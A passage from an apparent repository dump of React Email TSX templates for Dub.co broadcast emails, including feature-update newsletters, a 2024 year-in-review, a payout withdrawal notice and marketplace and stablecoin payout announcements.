leading-6 text-neutral-600\">\n                You can now reward partners for creating viral content – e.g.\n                \"Earn $50 per 1K views on YouTube, up to 100K views\".\n              </Text>\n\n              <Text className=\"mx-0 mb-2 mt-0 text-sm leading-6 text-neutral-600\">\n                Perfect for influencer/UGC campaigns.\n              </Text>\n              <Section className=\"mt-4 text-center\">\n                <Link\n                  href=\"https://ship.dub.co/FDpw3Ar\"\n                  className=\"block w-full rounded-lg bg-neutral-900 py-2.5 text-center text-sm font-medium text-white no-underline\"\n                  style={{\n                    backgroundColor: \"#171717\",\n                    color: \"#ffffff\",\n                    borderRadius: \"8px\",\n                    padding: \"10px 16px\",\n                    textDecoration: \"none\",\n                    fontWeight: \"500\",\n                    fontSize: \"14px\",\n                    width: \"100%\",\n                    boxSizing: \"border-box\",\n                  }}\n                >\n                  Learn more\n                </Link>\n              </Section>\n            </Section>\n\n            <Hr className=\"mx-0 my-5 w-full border border-neutral-200\" />\n\n            <Section className=\"mb-6\">\n              <Link\n                href=\"https://ship.dub.co/ekrtx8B\"\n                style={{ textDecoration: \"none\" }}\n              >\n                <Img\n                  src=\"https://assets.dub.co/cms/introducing-stablecoin-payouts.jpg\"\n                  width={560}\n                  height={320}\n                  alt=\"Stablecoin payouts\"\n                  className=\"mb-3 w-full rounded-lg\"\n                  style={{\n                    display: \"block\",\n                    maxWidth: \"100%\",\n                    height: \"auto\",\n                    borderRadius: \"8px\",\n                  }}\n                />\n              </Link>\n              <Heading className=\"mx-0 mb-2 mt-0 p-0 text-base font-semibold text-black\">\n                2. Stablecoin payouts\n              </Heading>\n              <Text className=\"mx-0 mb-2 mt-0 text-sm leading-6 text-neutral-600\">\n                Your partners can now connect a crypto wallet and get paid in\n                USDC in minutes instead of waiting up to 15 business days with\n                regular bank payouts.\n              </Text>\n              <Section className=\"mt-4 text-center\">\n                <Link\n                  href=\"https://ship.dub.co/ekrtx8B\"\n                  className=\"block w-full rounded-lg bg-neutral-900 py-2.5 text-center text-sm font-medium text-white no-underline\"\n                  style={{\n                    backgroundColor: \"#171717\",\n                    color: \"#ffffff\",\n                    borderRadius: \"8px\",\n                    padding: \"10px 16px\",\n                    textDecoration: \"none\",\n                    fontWeight: \"500\",\n                    fontSize: \"14px\",\n                    width: \"100%\",\n                    boxSizing: \"border-box\",\n                  }}\n                >\n                  Learn more\n                </Link>\n              </Section>\n            </Section>\n\n            <Hr className=\"mx-0 my-5 w-full border border-neutral-200\" />\n\n            <Section className=\"mb-6\">\n              <Link\n                href=\"https://ship.dub.co/GPtn2rL\"\n                style={{ textDecoration: \"none\" }}\n              >\n                <Img\n                  src=\"https://assets.dub.co/cms/advanced-analytics-filters.jpg\"\n                  width={560}\n                  height={320}\n                  alt=\"Advanced analytics filters\"\n                  className=\"mb-3 w-full rounded-lg\"\n                  style={{\n                    display: \"block\",\n                    maxWidth: \"100%\",\n                    height: \"auto\",\n                    borderRadius: \"8px\",\n                  }}\n                />\n              </Link>\n              <Heading className=\"mx-0 mb-2 mt-0 p-0 text-base font-semibold text-black\">\n                3. Advanced analytics filters\n              </Heading>\n              <Text className=\"mx-0 mb-2 mt-0 text-sm leading-6 text-neutral-600\">\n                Build stronger reports with multi-filtering (\"IS ONE OF\"),\n                negative filtering (\"IS NOT\"), and filters across partners,\n                groups, links, folders, tags, country, device, and more.\n              </Text>\n              <Text className=\"mx-0 mb-2 mt-0 text-sm leading-6 text-neutral-600\">\n                Available for Dub Partners and Dub Links, including via API.\n              </Text>\n              <Section className=\"mt-4 text-center\">\n                <Link\n                  href=\"https://ship.dub.co/GPtn2rL\"\n                  className=\"block w-full rounded-lg bg-neutral-900 py-2.5 text-center text-sm font-medium text-white no-underline\"\n                  style={{\n                    backgroundColor: \"#171717\",\n                    color: \"#ffffff\",\n                    borderRadius: \"8px\",\n                    padding: \"10px 16px\",\n                    textDecoration: \"none\",\n                    fontWeight: \"500\",\n                    fontSize: \"14px\",\n                    width: \"100%\",\n                    boxSizing: \"border-box\",\n                  }}\n                >\n                  Learn more\n                </Link>\n              </Section>\n            </Section>\n\n            <Hr className=\"mx-0 my-5 w-full border border-neutral-200\" />\n\n            <Section className=\"mb-6\">\n              <Link\n                href=\"https://ship.dub.co/WWvS3DW\"\n                style={{ textDecoration: \"none\" }}\n              >\n                <Img\n                  src=\"https://assets.dub.co/cms/staggered-reward-durations.jpg\"\n                  width={560}\n                  height={320}\n                  alt=\"Staggered reward durations\"\n                  className=\"mb-3 w-full rounded-lg\"\n                  style={{\n                    display: \"block\",\n                    maxWidth: \"100%\",\n                    height: \"auto\",\n                    borderRadius: \"8px\",\n                  }}\n                />\n              </Link>\n              <Heading className=\"mx-0 mb-2 mt-0 p-0 text-base font-semibold text-black\">\n                4. Staggered reward durations\n              </Heading>\n              <Text className=\"mx-0 mb-2 mt-0 text-sm leading-6 text-neutral-600\">\n                Set different commission rates by subscription duration (e.g.\n                25% for first 12 months, 10% after), subscription start date, or\n                partner signup date so you can reward early or high-value\n                customers differently.\n              </Text>\n              <Section className=\"mt-4 text-center\">\n                <Link\n                  href=\"https://ship.dub.co/WWvS3DW\"\n                  className=\"block w-full rounded-lg bg-neutral-900 py-2.5 text-center text-sm font-medium text-white no-underline\"\n                  style={{\n                    backgroundColor: \"#171717\",\n                    color: \"#ffffff\",\n                    borderRadius: \"8px\",\n                    padding: \"10px 16px\",\n                    textDecoration: \"none\",\n                    fontWeight: \"500\",\n                    fontSize: \"14px\",\n                    width: \"100%\",\n                    boxSizing: \"border-box\",\n                  }}\n                >\n                  Learn more\n                </Link>\n              </Section>\n            </Section>\n\n            <Hr className=\"mx-0 my-5 w-full border border-neutral-200\" />\n\n            <Section className=\"mb-6\">\n              <Link\n                href=\"https://ship.dub.co/iDS6QV6\"\n                style={{ textDecoration: \"none\" }}\n              >\n                <Img\n                  src=\"https://assets.dub.co/cms/group-move-rules.jpg\"\n                  width={560}\n                  height={320}\n                  alt=\"Group move rules\"\n                  className=\"mb-3 w-full rounded-lg\"\n                  style={{\n                    display: \"block\",\n                    maxWidth: \"100%\",\n                    height: \"auto\",\n                    borderRadius: \"8px\",\n                  }}\n                />\n              </Link>\n              <Heading className=\"mx-0 mb-2 mt-0 p-0 text-base font-semibold text-black\">\n                5. Group move rules\n              </Heading>\n              <Text className=\"mx-0 mb-2 mt-0 text-sm leading-6 text-neutral-600\">\n                Automatically move partners to a group when they hit performance\n                milestones (leads, conversions, revenue, or commissions). Dub\n                also shows a history of group moves for transparency and\n                auditability.\n              </Text>\n              <Section className=\"mt-4 text-center\">\n                <Link\n                  href=\"https://ship.dub.co/iDS6QV6\"\n                  className=\"block w-full rounded-lg bg-neutral-900 py-2.5 text-center text-sm font-medium text-white no-underline\"\n                  style={{\n                    backgroundColor: \"#171717\",\n                    color: \"#ffffff\",\n                    borderRadius: \"8px\",\n                    padding: \"10px 16px\",\n                    textDecoration: \"none\",\n                    fontWeight: \"500\",\n                    fontSize: \"14px\",\n                    width: \"100%\",\n                    boxSizing: \"border-box\",\n                  }}\n                >\n                  Learn more\n                </Link>\n              </Section>\n            </Section>\n\n            <Hr className=\"mx-0 my-5 w-full border border-neutral-200\" />\n\n            <Section className=\"mb-6\">\n              <Link\n                href=\"https://ship.dub.co/hHzqgo1\"\n                style={{ textDecoration: \"none\" }}\n              >\n                <Img\n                  src=\"https://assets.dub.co/cms/stripe-free-trial.jpg\"\n                  width={560}\n                  height={320}\n                  alt=\"Stripe integration: free trials\"\n                  className=\"mb-3 w-full rounded-lg\"\n                  style={{\n                    display: \"block\",\n                    maxWidth: \"100%\",\n                    height: \"auto\",\n                    borderRadius: \"8px\",\n                  }}\n                />\n              </Link>\n              <Heading className=\"mx-0 mb-2 mt-0 p-0 text-base font-semibold text-black\">\n                6. Support for Stripe free trials\n              </Heading>\n              <Text className=\"mx-0 mb-2 mt-0 text-sm leading-6 text-neutral-600\">\n                You can now track Stripe free trials as lead events (and by\n                extension, lead rewards for partners). Optionally, you can also\n                track the provisioned subscription quantity as separate lead\n                events for clearer attribution.\n              </Text>\n              <Section className=\"mt-4 text-center\">\n                <Link\n                  href=\"https://ship.dub.co/hHzqgo1\"\n                  className=\"block w-full rounded-lg bg-neutral-900 py-2.5 text-center text-sm font-medium text-white no-underline\"\n                  style={{\n                    backgroundColor: \"#171717\",\n                    color: \"#ffffff\",\n                    borderRadius: \"8px\",\n                    padding: \"10px 16px\",\n                    textDecoration: \"none\",\n                    fontWeight: \"500\",\n                    fontSize: \"14px\",\n                    width: \"100%\",\n                    boxSizing: \"border-box\",\n                  }}\n                >\n                  Learn more\n                </Link>\n              </Section>\n            </Section>\n\n            <Hr className=\"mx-0 my-5 w-full border border-neutral-200\" />\n\n            <Section className=\"mb-8\">\n              <Link\n                href=\"https://ship.dub.co/Htt5kOP\"\n                style={{ textDecoration: \"none\" }}\n              >\n                <Img\n                  src=\"https://assets.dub.co/cms/bulk-invite-partners.jpg\"\n                  width={560}\n                  height={320}\n                  alt=\"Bulk invite partners\"\n                  className=\"mb-3 w-full rounded-lg\"\n                  style={{\n                    display: \"block\",\n                    maxWidth: \"100%\",\n                    height: \"auto\",\n                    borderRadius: \"8px\",\n                  }}\n                />\n              </Link>\n              <Heading className=\"mx-0 mb-2 mt-0 p-0 text-base font-semibold text-black\">\n                7. Bulk invite partners + more updates\n              </Heading>\n              <Text className=\"mx-0 mb-2 mt-0 text-sm leading-6 text-neutral-600\">\n                You can now invite multiple partners at once and customize the\n                invitation email. A few other updates:\n              </Text>\n              <Text className=\"mx-0 mb-2 mt-0 text-sm leading-6 text-neutral-600\">\n                • Bounties, Commissions, and Payouts APIs\n                <br />\n                • “Paid” and “Canceled” columns on customer tables\n                <br />\n                • Group reward update logs for auditability\n              </Text>\n              <Section className=\"mt-4 text-center\">\n                <Link\n                  href=\"https://ship.dub.co/Htt5kOP\"\n                  className=\"block w-full rounded-lg bg-neutral-900 py-2.5 text-center text-sm font-medium text-white no-underline\"\n                  style={{\n                    backgroundColor: \"#171717\",\n                    color: \"#ffffff\",\n                    borderRadius: \"8px\",\n                    padding: \"10px 16px\",\n                    textDecoration: \"none\",\n                    fontWeight: \"500\",\n                    fontSize: \"14px\",\n                    width: \"100%\",\n                    boxSizing: \"border-box\",\n                  }}\n                >\n                  Learn more\n                </Link>\n              </Section>\n            </Section>\n\n            <Hr className=\"mx-0 my-5 w-full border border-neutral-200\" />\n\n            <Text className=\"mx-0 mb-2 mt-0 text-sm italic leading-6 text-neutral-600\">\n              Have any feedback about these new features? Just reply to this\n              email – I'd love to hear from you! 💪\n            </Text>\n            <Text className=\"mx-0 mb-2 mt-0 text-sm italic leading-6 text-neutral-600\">\n              Steven from Dub.co\n            </Text>\n\n            <Section className=\"mx-auto max-w-[400px] text-center\">\n              <Footer email={email} marketing unsubscribeUrl={unsubscribeUrl} />\n            </Section>\n          </Container>\n        </Body>\n      </Tailwind>\n    </Html>\n  );\n}\n"
  },
  {
    "path": "packages/email/src/templates/broadcasts/dub-wrapped.tsx",
    "content": "import { COUNTRIES, DUB_WORDMARK, smartTruncate } from \"@dub/utils\";\nimport { nFormatter } from \"@dub/utils/src/functions\";\nimport {\n  Body,\n  Column,\n  Container,\n  Head,\n  Heading,\n  Hr,\n  Html,\n  Img,\n  Link,\n  Preview,\n  Row,\n  Section,\n  Tailwind,\n  Text,\n} from \"@react-email/components\";\nimport { Footer } from \"../../components/footer\";\n\nexport default function DubWrapped({\n  email = \"panic@thedis.co\",\n  workspace = {\n    name: \"Dub\",\n    slug: \"dub\",\n    logo: \"https://assets.dub.co/wordmark.png\",\n  },\n  stats = {\n    \"Total Links\": 1429,\n    \"Total Clicks\": 425319,\n  },\n  topLinks = [\n    {\n      item: \"dub.sh/link\",\n      count: 13923,\n    },\n    {\n      item: \"dub.sh/link\",\n      count: 2225,\n    },\n    {\n      item: \"dub.sh/link\",\n      count: 423,\n    },\n    {\n      item: \"dub.sh/link\",\n      count: 325,\n    },\n    {\n      item: \"dub.sh/link\",\n      count: 233,\n    },\n  ],\n  topCountries = [\n    {\n      item: \"US\",\n      count: 23049,\n    },\n    {\n      item: \"GB\",\n      count: 12345,\n    },\n    {\n      item: \"CA\",\n      count: 10000,\n    },\n    {\n      item: \"DE\",\n      count: 9000,\n    },\n    {\n      item: \"FR\",\n      count: 8000,\n    },\n  ],\n}: {\n  email: string;\n  workspace: {\n    name: string;\n    slug: string;\n    logo?: string | null;\n  };\n  stats: {\n    \"Total Links\": number;\n    \"Total Clicks\": number;\n  };\n  topLinks: {\n    item: string;\n    count: number;\n  }[];\n  topCountries: {\n    item: string;\n    count: number;\n  }[];\n}) {\n  const dubStats = [\n    {\n      item: \"126M clicks tracked\",\n      increase: \"+900%\",\n    },\n    {\n      item: \"700K links created\",\n      increase: \"+400%\",\n    },\n    {\n      item: \"56K new users\",\n      increase: \"+360%\",\n    },\n    {\n      item: \"5.5K custom domains\",\n      increase: \"+500%\",\n    },\n  ];\n\n  const shippedItems = [\n    {\n      title: \"Free .LINK domains on all paid plans\",\n      description:\n        \"We partnered with Nova Registry to offer a <b>1-year free .link custom domain</b> to all paying Dub customers. By using a custom domain, you get <b>30% higher click-through rates</b> and better brand recognition.\",\n      image: \"https://assets.dub.co/blog/free-dot-link.jpg\",\n      cta: {\n        text: \"Read the announcement\",\n        href: \"https://ship.dub.co/free-domains\",\n      },\n    },\n    {\n      title: \"New link builder + dashboard\",\n      description:\n        \"We launched a new link builder, rebuilt from the ground up, to help you manage your links better. We also gave our dashboard a makeover as well.\",\n      image: \"https://assets.dub.co/changelog/new-dashboard.jpg\",\n      cta: {\n        text: \"Read the announcement\",\n        href: \"https://ship.dub.co/builder\",\n      },\n    },\n    {\n      title: \"Dub API General Availability\",\n      description:\n        \"Our Dub API went GA, allowing you to build your powerful integrations with Dub. We also launched <b>native SDKs in 5 different languages</b>: TypeScript, Python, Ruby, PHP, and Go.\",\n      image: \"https://assets.dub.co/blog/dub-api.jpg\",\n      cta: {\n        text: \"Read the announcement\",\n        href: \"https://dub.co/blog/announcing-dub-api\",\n      },\n    },\n  ];\n\n  return (\n    <Html>\n      <Head />\n      <Preview>\n        In 2024, you created {nFormatter(stats[\"Total Links\"], { full: true })}{\" \"}\n        links on Dub and got {nFormatter(stats[\"Total Clicks\"], { full: true })}{\" \"}\n        clicks.\n      </Preview>\n      <Tailwind>\n        <Body className=\"mx-auto my-auto bg-white font-sans\">\n          <Container className=\"mx-auto my-10 max-w-[600px] rounded border border-solid border-neutral-200 px-10 py-5\">\n            <Section className=\"mt-8\">\n              <Img src={DUB_WORDMARK} height=\"32\" alt=\"Dub\" className=\"my-0\" />\n            </Section>\n            <Heading className=\"mx-0 mb-4 mt-8 p-0 text-xl font-semibold text-black\">\n              Dub Year in Review 🎊\n            </Heading>\n            <Text className=\"text-sm leading-6 text-black\">\n              As we put a wrap on 2024, we wanted to say thank you for your\n              support! Here's a look back at your activity in 2024:\n            </Text>\n\n            <Section className=\"my-8 rounded-lg border border-solid border-neutral-200 p-2\">\n              <div>\n                <Img\n                  src=\"https://assets.dub.co/misc/year-in-review-header.jpg\"\n                  alt=\"header\"\n                  className=\"max-w-[500px] rounded-lg\"\n                />\n                <div className=\"-mt-[90px] mb-[30px] text-center\">\n                  {workspace.logo && (\n                    <Img\n                      src={workspace.logo}\n                      height=\"36\"\n                      alt={workspace.name}\n                      className=\"mx-auto rounded-lg\"\n                    />\n                  )}\n                  <Text className=\"mt-1 text-xl font-semibold\">\n                    {workspace.name}\n                  </Text>\n                </div>\n              </div>\n              <Row className=\"w-full px-4 py-2\">\n                {Object.entries(stats).map(([key, value]) => (\n                  <StatCard key={key} title={key} value={value} />\n                ))}\n              </Row>\n              <div className=\"grid gap-2 px-4\">\n                <StatTable\n                  title=\"Top Links\"\n                  value={topLinks}\n                  workspaceSlug={workspace.slug}\n                />\n                <StatTable\n                  title=\"Top Countries\"\n                  value={topCountries}\n                  workspaceSlug={workspace.slug}\n                />\n              </div>\n            </Section>\n\n            <Heading className=\"mx-0 mb-4 mt-8 p-0 text-xl font-semibold text-black\">\n              Your contribution 📈\n            </Heading>\n            <Text className=\"text-sm leading-6 text-black\">\n              Thanks to customers like you, we had an incredible year as well,\n              seeing record activity and link clicks:\n            </Text>\n            {dubStats.map((stat) => (\n              <Text\n                key={stat.item}\n                className=\"ml-1 text-sm font-medium leading-4 text-black\"\n              >\n                ◆ {stat.item}{\" \"}\n                <span className=\"font-semibold text-green-700\">\n                  ({stat.increase})\n                </span>\n              </Text>\n            ))}\n            <Img\n              src=\"https://assets.dub.co/misc/year-in-review-2024.jpg\"\n              alt=\"Thank you\"\n              className=\"max-w-[500px] rounded-lg\"\n            />\n\n            <Hr className=\"mx-0 my-6 w-full border border-neutral-200\" />\n\n            <Heading className=\"mx-0 mb-4 mt-8 p-0 text-xl font-semibold text-black\">\n              What we shipped 🚢\n            </Heading>\n            <Text className=\"text-sm leading-6 text-black\">\n              Here's a rundown of what we shipped in 2024:\n            </Text>\n\n            {shippedItems.map((item) => (\n              <div key={item.title} className=\"mb-8\">\n                <Img\n                  src={item.image}\n                  alt={item.title}\n                  className=\"max-w-[500px] rounded-lg\"\n                />\n                <Text className=\"text-lg font-semibold text-black\">\n                  {item.title}\n                </Text>\n                <Text\n                  className=\"leading-6 text-neutral-600\"\n                  dangerouslySetInnerHTML={{ __html: item.description }}\n                />\n                <Link\n                  href={item.cta.href}\n                  className=\"rounded-md bg-black px-4 py-1.5 text-sm font-medium text-white\"\n                >\n                  {item.cta.text}\n                </Link>\n              </div>\n            ))}\n\n            <Hr className=\"mx-0 my-6 w-full border border-neutral-200\" />\n\n            <Text className=\"text-sm leading-6 text-black\">\n              You can also check out more updates on our{\" \"}\n              <Link\n                href=\"https://ship.dub.co/blog\"\n                className=\"text-black underline underline-offset-2\"\n              >\n                blog\n              </Link>{\" \"}\n              and{\" \"}\n              <Link\n                href=\"https://ship.dub.co/changelog\"\n                className=\"text-black underline underline-offset-2\"\n              >\n                changelog\n              </Link>\n              .\n              <br />\n              <br />\n              Thank you again, and happy holidays!\n            </Text>\n            <Img\n              src=\"https://assets.dub.co/misc/email-signature.png\"\n              alt=\"Email signature\"\n              className=\"max-w-[200px]\"\n            />\n            <Text className=\"text-sm leading-6 text-black\">\n              and the Dub team 🎄\n            </Text>\n\n            <Footer email={email} marketing />\n          </Container>\n        </Body>\n      </Tailwind>\n    </Html>\n  );\n}\n\nconst StatCard = ({\n  title,\n  value,\n}: {\n  title: string;\n  value: number | string;\n}) => {\n  return (\n    <Column className=\"text-center\">\n      <Text className=\"font-medium text-neutral-400\">{title}</Text>\n      <Text className=\"-mt-3 text-lg font-medium text-black\">\n        {typeof value === \"number\" ? nFormatter(value, { full: true }) : value}\n      </Text>\n    </Column>\n  );\n};\n\nconst StatTable = ({\n  title,\n  value,\n  workspaceSlug,\n}: {\n  title: string;\n  value: { item: string; count: number }[];\n  workspaceSlug: string;\n}) => {\n  return (\n    <Section>\n      <Text className=\"mb-0 font-medium text-neutral-400\">{title}</Text>\n      {value.map(({ item, count }, index) => {\n        const [domain, ...pathParts] = item.split(\"/\");\n        const path = pathParts.join(\"/\") || \"_root\";\n        return (\n          <div key={index} className=\"text-sm\">\n            <Row>\n              {title === \"Top Countries\" && (\n                <Column width={24}>\n                  <Img\n                    src={`https://wsrv.nl/?url=https://hatscripts.github.io/circle-flags/flags/${item.toLowerCase()}.svg`}\n                    alt={COUNTRIES[item]}\n                    height=\"16\"\n                  />\n                </Column>\n              )}\n              <Column align=\"left\">\n                {title === \"Top Links\" ? (\n                  <div className=\"py-2\">\n                    <Link\n                      href={`https://app.dub.co/${workspaceSlug}/analytics?domain=${domain}&key=${path}&interval=1y`}\n                      className=\"font-medium text-black underline underline-offset-2\"\n                    >\n                      {smartTruncate(item, 33)} ↗\n                    </Link>\n                  </div>\n                ) : (\n                  <p>{COUNTRIES[item]}</p>\n                )}\n              </Column>\n              <Column align=\"right\" className=\"text-neutral-600\">\n                {nFormatter(count, { full: count < 99999 })}\n              </Column>\n            </Row>\n            {index !== value.length - 1 && (\n              <Hr className=\"my-0 w-full border border-neutral-200\" />\n            )}\n          </div>\n        );\n      })}\n    </Section>\n  );\n};\n"
  },
  {
    "path": "packages/email/src/templates/broadcasts/payout-auto-withdrawals.tsx",
    "content": "import { currencyFormatter } from \"@dub/utils\";\nimport {\n  Body,\n  Container,\n  Heading,\n  Html,\n  Img,\n  Link,\n  Preview,\n  Section,\n  Tailwind,\n  Text,\n} from \"@react-email/components\";\nimport { Footer } from \"../../components/footer\";\nimport {\n  BELOW_MIN_WITHDRAWAL_FEE_CENTS,\n  MIN_WITHDRAWAL_AMOUNT_CENTS,\n} from \"../../types\";\n\nexport default function PayoutAutoWithdrawals({\n  email = \"panic@thedis.co\",\n}: {\n  email: string;\n}) {\n  return (\n    <Html>\n      <Preview>You've got money coming your way!</Preview>\n      <Tailwind>\n        <Body className=\"mx-auto my-auto bg-white font-sans\">\n          <Container className=\"mx-auto my-10 max-w-[600px] rounded border border-solid border-neutral-200 px-10 py-5\">\n            <Section className=\"mt-8\">\n              <Img\n                src=\"https://assets.dub.co/wordmark.png\"\n                height=\"32\"\n                alt=\"Dub wordmark\"\n              />\n            </Section>\n\n            <Heading className=\"mx-0 my-7 p-0 text-lg font-medium text-black\">\n              Your payouts will be sent to your bank account soon\n            </Heading>\n\n            <Text className=\"text-sm leading-6 text-neutral-600\">\n              You're receiving this email because you currently have{\" \"}\n              <code className=\"rounded bg-indigo-100 px-1.5 py-0.5 text-indigo-600\">\n                processed\n              </code>{\" \"}\n              payouts in your Dub partner account.\n            </Text>\n\n            <Text className=\"text-sm leading-6 text-neutral-600\">\n              For compliance reasons, all{\" \"}\n              <code className=\"rounded bg-indigo-100 px-1.5 py-0.5 text-indigo-600\">\n                processed\n              </code>{\" \"}\n              payouts will be automatically withdrawn to your connected bank\n              account after 90 days.\n            </Text>\n\n            <Section className=\"mb-8 mt-6\">\n              <Link\n                className=\"rounded-lg bg-neutral-900 px-4 py-3 text-[12px] font-semibold text-white no-underline\"\n                href=\"https://partners.dub.co/payouts?status=processed\"\n              >\n                View your payouts\n              </Link>\n            </Section>\n\n            <Text className=\"text-sm leading-6 text-neutral-600\">\n              If you'd like to receive your payout right away, please{\" \"}\n              <Link\n                href=\"https://partners.dub.co/payouts?status=processed\"\n                target=\"_blank\"\n                className=\"font-medium text-black underline decoration-dotted underline-offset-2\"\n              >\n                go to your Payouts page\n              </Link>{\" \"}\n              and select <strong className=\"text-black\">\"Pay out now\"</strong>{\" \"}\n              to withdraw your payout.\n            </Text>\n\n            <Text className=\"text-sm leading-6 text-neutral-600\">\n              Note: If your{\" \"}\n              <code className=\"rounded bg-indigo-100 px-1.5 py-0.5 text-indigo-600\">\n                processed\n              </code>{\" \"}\n              payouts total is below the{\" \"}\n              <a\n                href=\"https://dub.co/help/article/receiving-payouts#what-is-the-minimum-withdrawal-amount-and-how-does-it-work\"\n                target=\"_blank\"\n                className=\"font-medium text-black underline decoration-dotted underline-offset-2\"\n              >\n                minimum withdrawal amount\n              </a>{\" \"}\n              of{\" \"}\n              {currencyFormatter(MIN_WITHDRAWAL_AMOUNT_CENTS, {\n                trailingZeroDisplay: \"stripIfInteger\",\n              })}\n              , a withdrawal fee of{\" \"}\n              {currencyFormatter(BELOW_MIN_WITHDRAWAL_FEE_CENTS, {\n                trailingZeroDisplay: \"stripIfInteger\",\n              })}{\" \"}\n              will be applied.\n            </Text>\n            <Footer email={email} />\n          </Container>\n        </Body>\n      </Tailwind>\n    </Html>\n  );\n}\n"
  },
  {
    "path": "packages/email/src/templates/broadcasts/program-marketplace-announcement.tsx",
    "content": "import { DUB_WORDMARK } from \"@dub/utils\";\nimport {\n  Body,\n  Container,\n  Head,\n  Heading,\n  Hr,\n  Html,\n  Img,\n  Link,\n  Preview,\n  Section,\n  Tailwind,\n  Text,\n} from \"@react-email/components\";\nimport { Footer } from \"../../components/footer\";\n\nexport default function ProgramMarketplaceAnnouncement({\n  email = \"panic@thedis.co\",\n}: {\n  email: string;\n}) {\n  return (\n    <Html>\n      <Head>\n        <style>{`\n          @media only screen and (max-width: 600px) {\n            .email-container {\n              padding-left: 16px !important;\n              padding-right: 16px !important;\n            }\n          }\n        `}</style>\n      </Head>\n      <Preview>We're also celebrating $10M in partner payouts via Dub.</Preview>\n      <Tailwind>\n        <Body className=\"mx-auto my-auto bg-white font-sans\">\n          <Container className=\"email-container mx-auto my-10 max-w-[600px] px-10 py-5\">\n            <Section className=\"mt-2 text-center\">\n              <Img\n                src={DUB_WORDMARK}\n                width=\"65\"\n                height=\"32\"\n                alt=\"Dub\"\n                style={{\n                  display: \"block\",\n                  margin: \"0 auto\",\n                }}\n              />\n            </Section>\n\n            <Heading className=\"mx-0 mb-2 mt-8 p-0 text-center text-2xl font-semibold text-black\">\n              Dub Program Marketplace is here\n            </Heading>\n\n            <Text className=\"mb-8 mt-0 text-center text-base leading-6 text-neutral-600\">\n              A new way to discover, join, and partner with\n              <br />\n              more programs on Dub.\n            </Text>\n\n            <Section className=\"mb-8 text-center\">\n              <Link\n                href=\"https://ship.dub.co/marketplace\"\n                style={{ textDecoration: \"none\" }}\n              >\n                <Img\n                  src=\"https://assets.dub.co/misc/program-marketplace-email-header.jpg\"\n                  width=\"500\"\n                  height=\"292\"\n                  alt=\"Dub Program Marketplace\"\n                  style={{\n                    display: \"block\",\n                    maxWidth: \"100%\",\n                    height: \"auto\",\n                    margin: \"0 auto\",\n                  }}\n                />\n              </Link>\n            </Section>\n\n            <Heading className=\"mx-0 mb-3 mt-0 p-0 text-center text-lg font-semibold text-black\">\n              Over 40+ programs to join\n            </Heading>\n\n            <Text className=\"mx-auto mb-8 mt-0 max-w-[420px] text-center text-sm leading-6 text-neutral-600\">\n              Find programs that fit your audience, compare rewards, and submit\n              your application. It is the easiest way to expand your reach and\n              unlock new earning possibilities.\n            </Text>\n\n            <Section className=\"mb-8 text-center\">\n              <Link\n                href=\"https://ship.dub.co/marketplace\"\n                className=\"box-border inline-block rounded-lg bg-neutral-900 px-6 py-3 text-center text-sm font-medium text-white no-underline\"\n                style={{\n                  backgroundColor: \"#171717\",\n                  color: \"#ffffff\",\n                  borderRadius: \"8px\",\n                  padding: \"12px 24px\",\n                  textDecoration: \"none\",\n                  display: \"inline-block\",\n                  fontWeight: \"500\",\n                  fontSize: \"14px\",\n                }}\n              >\n                Explore the program marketplace\n              </Link>\n            </Section>\n\n            <Hr className=\"mx-0 my-6 w-full border border-neutral-200\" />\n\n            <Section className=\"mb-8 text-center\">\n              <Link\n                href=\"https://ship.dub.co/10m-x\"\n                style={{ textDecoration: \"none\" }}\n              >\n                <Img\n                  src=\"https://assets.dub.co/cms/10m-payouts.jpg\"\n                  width=\"1200\"\n                  height=\"630\"\n                  alt=\"$10M Payouts\"\n                  style={{\n                    display: \"block\",\n                    maxWidth: \"100%\",\n                    height: \"auto\",\n                    margin: \"0 auto\",\n                  }}\n                />\n              </Link>\n            </Section>\n\n            <Heading className=\"mx-0 mb-3 mt-0 p-0 text-center text-lg font-semibold text-black\">\n              Celebrating $10M in partner payouts\n            </Heading>\n\n            <Text className=\"mx-auto mb-8 mt-0 max-w-[420px] text-center text-sm leading-6 text-neutral-600\">\n              We're also excited to share that we've crossed $10M in payouts\n              sent via Dub Partners to creators worldwide.\n              <br />\n              <br />A huge thank you to all of you who have been a part of this\n              journey – we couldn't have done it without you!\n            </Text>\n\n            <Section className=\"mb-8 text-center\">\n              <Link\n                href=\"https://ship.dub.co/10m-x\"\n                className=\"box-border inline-block rounded-lg bg-neutral-900 px-6 py-3 text-center text-sm font-medium text-white no-underline\"\n                style={{\n                  backgroundColor: \"#171717\",\n                  color: \"#ffffff\",\n                  borderRadius: \"8px\",\n                  padding: \"12px 24px\",\n                  textDecoration: \"none\",\n                  display: \"inline-block\",\n                  fontWeight: \"500\",\n                  fontSize: \"14px\",\n                }}\n              >\n                View the announcement on X\n              </Link>\n            </Section>\n\n            <Section className=\"mx-auto max-w-[400px] text-center\">\n              <Footer email={email} />\n            </Section>\n          </Container>\n        </Body>\n      </Tailwind>\n    </Html>\n  );\n}\n"
  },
  {
    "path": "packages/email/src/templates/broadcasts/stablecoin-payouts-announcement.tsx",
    "content": "import { DUB_WORDMARK } from \"@dub/utils\";\nimport {\n  Body,\n  Container,\n  Head,\n  Heading,\n  Hr,\n  Html,\n  Img,\n  Link,\n  Preview,\n  Section,\n  Tailwind,\n  Text,\n} from \"@react-email/components\";\nimport { Footer } from \"../../components/footer\";\n\nexport default function StablecoinPayoutsAnnouncement({\n  email = \"panic@thedis.co\",\n  unsubscribeUrl = \"https://partners.dub.co/account/settings\",\n}: {\n  email: string;\n  unsubscribeUrl: string;\n}) {\n  return (\n    <Html>\n      <Head>\n        <style>{`\n          @media only screen and (max-width: 600px) {\n            .email-container {\n              padding-left: 16px !important;\n              padding-right: 16px !important;\n            }\n          }\n        `}</style>\n      </Head>\n      <Preview>\n        Connect your crypto wallet and get paid in USDC. Also, Dub Program\n        Marketplace is now generally available.\n      </Preview>\n      <Tailwind>\n        <Body className=\"mx-auto my-auto bg-white font-sans\">\n          <Container className=\"email-container mx-auto my-10 max-w-[600px] px-10 py-5\">\n            <Section className=\"mt-2 text-center\">\n              <Img\n                src={DUB_WORDMARK}\n                width=\"65\"\n                height=\"32\"\n                alt=\"Dub\"\n                style={{\n                  display: \"block\",\n                  margin: \"0 auto\",\n                }}\n              />\n            </Section>\n\n            <Heading className=\"mx-0 mb-2 mt-8 p-0 text-center text-2xl font-semibold text-black\">\n              Stablecoin payouts are here\n            </Heading>\n\n            <Text className=\"mx-auto mb-8 mt-0 max-w-sm text-center text-base leading-6 text-neutral-600\">\n              You can now connect a 